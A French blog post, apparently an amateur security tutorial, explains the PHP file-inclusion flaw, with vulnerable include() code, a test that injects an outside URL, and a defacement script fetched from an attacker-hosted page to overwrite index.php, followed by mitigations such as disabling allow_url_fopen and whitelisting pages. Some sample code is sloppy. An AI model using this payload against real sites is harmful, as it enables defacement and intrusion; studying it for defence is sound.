Eklablog Tous les blogs Top blogs Littérature, BD & Poésie
Editer l'article Suivre ce blog Administration + Créer mon blog
MENU

Desenclavons culturellement tout nos freres africains

Publicité

faille include

Faille Include


La faille include est encore tres courante sur les sites php. L'include sert principalement à inclure une page dans une autre pour faciliter le mise à jour par exemple ou encore plus fréquament à inclure des variables provenants d'un fichier de configuration.

1) Inclusion d'un autre page.

<?
include($page);
?>

Dans un code html:

<html>
<head>
<title>Page1</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>
<? include("maj.php"); ?> // La page que nous incluons dans page1.php
</body>
</html>

2) Inclusion de variables


<?
//---------------------------------------------------
//------------- Page config.php ---------------
//---------------------------------------------------
$login = "admin";
$pass = "pass";
//-------------------- END -----------------------
?>

<?
//---------------------------------------------------
//------------- Page protec.php ---------------
//---------------------------------------------------
include("config.php"); // La page config.php ou sont stokés les variables

if($good1==$login & $good2==$pass)
{
include ("identification_ok.php"); // si le login et le pass est identique au config.php
}
else
{
echo "<center>Mauvais login/pass</center><br>";
include ("admin.php");
}
//-------------------- END -----------------------

PS: la fonction include() est quasiment identique à require()

Voilà pour le principales utilisations de l'include en php.

Si l'utilisateur se limite au donnés transmises grace à ces includes sans les modifier, il n'y a aucun problème.
Mais s'il les modifient (Par exemple: http://www.lesite.com/page.php?page=.htpsswrd) il a accés à un grand nombre d'informations et peut par la meme occasion déface le site.
Pour trouver la faille il suffit d'essayer d'inclure une URL :

http://www.lesite.com/page.php?page=http://www.google.com.

i on arrive sur une erreur 404, c'est que la faille semble être protégée.
i au contraire la page d'acceuil de google est include dans la page du site c'est qu'elle est présente !

3) Exploitation:

Imaginons que le test précédent ai fonctionné et que google s'est affiché au beau milieu de la page du site. Le pirate va uploder sur un compte web perso un script du type:

<?
//-------------Hack.php--------------
$fp=fopen("index.php", w);
$msg="Le message qu'il veut mettre en en tete du site";
fwrite($fp,$msg);
fclose($fp);
?>

Il va ensuite "l'inclure" dans le site à défacer :http://www.lesite.com/page.php?page=http://le_site_du_pirate.free.fr/hack.php

Normalement, si tout ce bien passé, le message devrait être inscrit sur la page d'acceuil du site. Naturellement il est tout à fait possible d'y mettre du html...

4) Sécurité

Il ne faut pas oublier d'aller vérifier dans le fichier php.ini que allow_url_fopen soit sur off pour empecher l''inclusion de données externes.

En premier , rappelons la syntaxe de la fonction include dans le script : (cas des pseudos frames)

<?
$fp=fopen("la page.php", w);
if(file_exists($page)) //si la variable($) page existe
{
include($page); //alors on l'inclue
}
else
{
include ("404.php"); // on inclue une page d'erreur.
}
?>


Donc une premiere methode de sécurisation consiste à ajouter l'extention .php apres la variable d'include tel que $page = $page..php;

Donc en reprenant l'example plus haut :

www.lesite.com/page.php?page=http://le_site_du_pirate.free.fr/hack.php

Cette url conduira desormais à une erreure 404 vue que .php sera rajouté à la fin de l'URL ( ../hack.php.php ) .
Le problème , c'est que si on ecrit :

www.lesite.com/page.php?page=http://le_site_du_pirate.free.fr/hack

.php sera encore rajouté à la fin de l'URL et cette fois çi , la page sera bien incluse !

Par contre cette securite , sans interdire totalement l'injection de code , empeche l'accés au fichiers sensibles tel que .htaccess .htpasswd ...

4-1)Contrôle de la variable:

<?
switch ($page) {
case "page1.php":
case "page2.php":
case "pages/page.php":
include($page);
break;

default:
exit("404"); // Si la variable ne correspond ni à "page1" ni a "page2" ni a "pages/page.php"
}
?>
 

By 4n9e

Publicité
Retour à l'accueil
Partager cet article
Repost0
Pour être informé des derniers articles, inscrivez vous :
Commenter cet article